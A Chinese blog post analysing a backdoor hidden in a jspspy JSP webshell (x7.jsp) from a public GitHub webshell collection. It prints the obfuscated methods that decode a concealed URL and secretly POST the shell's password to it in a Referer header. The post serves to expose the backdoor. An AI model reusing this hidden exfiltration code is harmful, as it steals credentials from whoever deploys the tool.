一次对webshell的后门的查看
本文作者i春秋作家——非主流
昨天晚上突发奇想的想去看看github上面tennc的webshell收集项目中的shell有没有漏洞,比如未授权啊啥的,结果找半天都没找到。。。但是机缘巧合下,居然给我找到了一个后门狗。
存在后门的webshell地址
我们咋一看这不就是jspspy嘛
年轻人不要急我们先把整个项目download下来然后再好好分析看看通过文件大小比较x7.jsp和下面的xia.jsp发现x7.jsp比xia.jsp多了2kb已知xia.jsp也是一个版本的jspspy。
但是当我们分别打开x7.jsp和xia.jsp时试图想找到是哪里多出来2kb时发现有点不切实际作为一个java的初学者我们似乎并没有那么大的本事去通读jspspy的各个功能模块的代码。于是乎我们可以通过windows自带的命令去进行文本内容比较(emmmm,类似于linux下的diff命令)
利用管道符号将两个jsp不同的地方重定向输出至txt文档中。
打开txt我们便开始分析很突然就发现有一个问题如下图
请注意txt文档的23行的代码x7.jsp中又定义了一个变量sxm值就是PW的值。
那我们开始着重分析一下x7.jsp中新定义的这个sxm变量是拿来干什么的吧。
接着用编辑器直接ctrl+f在当前文件中查找sxm
直接转向854行
发现有三个新的方法(就是C语言里面的函数)分别是uc()、dx()和FileLocalUpload()依次去定位查看这三个方法的代码块。
public static String FileLocalUpload(String reqUrl,String fckal,String recvEncoding) {
HttpURLConnection url_con = null;
String responseContent = null;
try {
URL url = new URL(reqUrl);
url_con = (HttpURLConnection) url.openConnection();
url_con.setRequestMethod("POST");
url_con.setRequestProperty("REFERER", ""+fckal+"");
System.setProperty("sun.net.client.defaultConnectTimeout", String.valueOf(connectTimeOut));
System.setProperty("sun.net.client.defaultReadTimeout", String.valueOf(readTimeOut));
url_con.setDoOutput(true);
url_con.getOutputStream().flush();
url_con.getOutputStream().close();
InputStream in = url_con.getInputStream();
BufferedReader rd = new BufferedReader(new InputStreamReader(in,recvEncoding));
String tempLine = rd.readLine();
StringBuffer tempStr = new StringBuffer();
String crlf=System.getProperty("line.separator");
while (tempLine != null) {
tempStr.append(tempLine);
tempStr.append(crlf);
tempLine = rd.readLine();
}
responseContent = tempStr.toString();
rd.close();
in.close();
}
catch (IOException e) {
}
finally {
if (url_con != null) {
url_con.disconnect();
}
}
return responseContent;
}
dx()方法
public static String SysInfo="=?./..//:";
public static String dx() {
String s = new String();
for (int i = SysInfo.length() - 1; i >= 0; i--) {
s += SysInfo.charAt(i);
}
return s;
}
uc()方法
public static String uc(String str) {
String c="\n\r"; long d=127, f=11, j=12, h=14, m=31, r=83, k=1, n=8, s=114, u=-5, v=5,a=0;
StringBuffer sb = new StringBuffer();
char[] ch = str.toCharArray();
for (int i = 0; i < ch.length; i++) {
a = (int)ch[i];
if(a==d) a=13;
if(a==f) a=10;
if(a==j) a=34;
if((a>=h) && (a<=m)) a=a+r;
if((a>=k) && (a<=n)) a=a+s;
if((a>=53) && (a<=57)) a=a+u;
if((a>=48) && (a<=52)) a=a+v;
sb.append((char)a);
}
return sb.toString();
}
怎么办看不懂啊。
不要慌~~ 看不懂不要紧我们可以直接把方法拿过来再处理一次只不过我不用FileLocalUpload()方法去处理我直接把sxm变量和uc()、dx()执行之后print输出就行。所以自己写写代码
import java.io.*;
import java.util.*;
class x7 {
public static void main(String[] args) {
String PW = "ttttt";
String sxm=PW;
System.out.println(uc(dx())+sxm);
}
public static String dx() {
String s = new String();
String SysInfo="=?./..//:";
for (int i = SysInfo.length() - 1; i >= 0; i--) {
s += SysInfo.charAt(i);
}
return s;
}
public static String uc(String str) {
String c="\n\r"; long d=127, f=11, j=12, h=14, m=31, r=83, k=1, n=8, s=114, u=-5, v=5,a=0;
StringBuffer sb = new StringBuffer();
char[] ch = str.toCharArray();
for (int i = 0; i < ch.length; i++) {
a = (int)ch[i];
if(a==d) a=13;
if(a==f) a=10;
if(a==j) a=34;
if((a>=h) && (a<=m)) a=a+r;
if((a>=k) && (a<=n)) a=a+s;
if((a>=53) && (a<=57)) a=a+u;
if((a>=48) && (a<=52)) a=a+v;
sb.append((char)a);
}
return sb.toString();
}
}
写完调试一下然后javac编译一下发现不报错就行。
接着执行一次看看
哇狗比
写在最后
能不能像个黑客一样不要到处要东西除非你想做那个被大鱼吃的小鱼。
>>>>>>黑客入门必备技能 带你入坑和逗比表哥们一起聊聊黑客的事儿他们说高精尖的技术比农药都好玩
一次对webshell的后门的查看的更多相关文章
- 阿里云提醒 网站被WebShell木马后门的处理过程
昨晚凌晨收到新客户的安全求助,说是阿里云短信提示,网站有webshell木马文件被植入,我们SINE安全公司立即成立,安全应急响应小组,客户提供了阿里云的账号密码,随即登陆阿里云进去查看到详情,登陆云 ...
- PHP安全之webshell和后门检测
基于PHP的应用面临着各种各样的攻击: XSS:对PHP的Web应用而言,跨站脚本是一个易受攻击的点.攻击者可以利用它盗取用户信息.你可以配置Apache,或是写更安全的PHP代码(验证所有用户输入) ...
- PHP安全之webshell和后门检测(转)
基于PHP的应用面临着各种各样的攻击: XSS:对PHP的Web应用而言,跨站脚本是一个易受攻击的点.攻击者可以利用它盗取用户信息.你可以配置Apache,或是写更安全的PHP代码(验证所有用户输入) ...
- Webshell实现与隐藏探究
一.什么是webshell webshell简介 webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理 工具,可以 ...
- Deformity PHP Webshell、Webshell Hidden Learning
目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...
- 应用安全-web安全-WebShell整理
shellcode.aspx <%@ Page Language="C#" AutoEventWireup="true" Inherits="S ...
- Linux后门的几种姿势
转载自 https://evilanne.github.io/2017/08/26/Linux%E5%90%8E%E9%97%A8-%E6%8C%81%E7%BB%AD%E5%85%B3%E6%B3% ...
- [转载]Linux后门整理合集(脉搏推荐)
我在思考要不要联系下....都禁止转载了.... 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建 /etc/xxxx 脚本 ...
- OpenSSH后门获取root密码及防范
OpenSSH后门获取root密码及防范 相对于Windows操作系统,Linux操作系统的密码较难获取.而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者 ...
随机推荐
- [BAT]cmd命令之 cd /d %~dp0
cd /d %~dp0是什么意思啊?批处理文件中的一条语句意思是 更改当前目录为批处理本身的目录 有些晕吧?不急,我举例 比如你有个批处理a.bat在D:\qq文件夹下 a.bat内容为 cd /d ...
- samtools 工具
软件地址: http://www.htslib.org/ 功能三大版块 : Samtools Reading/writing/editing/indexing/viewing SAM/BAM/CRAM ...
- Nginx的使用(反向代理,负载均衡)
在我目前的工作内容中,接触到Nginx的用处无外乎两点: 1. 反向代理,解决前端跨域的问题 工作内容有门户的概念,就是将各个子系统集成到门户里,在门户里面访问,这样就很容易造成跨域的问题 那么解决的 ...
- 2018.09.25 bzoj1856: [Scoi2010]字符串(组合数学)
传送门 如果有n==m的条件就是卡特兰数. 但现在n不一定等于m. 我们可以考虑用求卡特兰数一样的方法来求答案. 我们知道有一种求卡特兰数的方法是转到二维平面求答案. 这道题就可以这样做. 我们将这个 ...
- ThinkPHP5 union分页
直接贴代码,记录一下,备用 $a = Db::name(表名)->field(字段)->where(条件)->buildSql(); $b = Db::name(表名)->fi ...
- js获取年月日时分秒星期
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- linux将程序扔到后台并获取程序的进程号
我们经常需要写一些执行时间较长的程序,但是如果在程序执行过程中超时了,有许多原因,可能是程序已经挂起了,这时就需要杀死这样的进程,则可以通过如下的命令执行: java -jar TestProcess ...
- BSD Socket 通信
Berkeley sockets is an application programming interface (API) for Internet sockets and Unix domain ...
- 零停重启程序工具Huptime研究
目录 目录 1 1. 官网 1 2. 功能 1 3. 环境要求 2 4. 实现原理 2 5. SIGHUP信号处理 3 6. 重启线程 4 7. 重启目标程序 5 8. 系统调用钩子辅助 6 9. 被 ...
- Codeforces807 A. Is it rated? 2017-05-08 23:03 177人阅读 评论(0) 收藏
A. Is it rated? time limit per test 2 seconds memory limit per test 256 megabytes input standard inp ...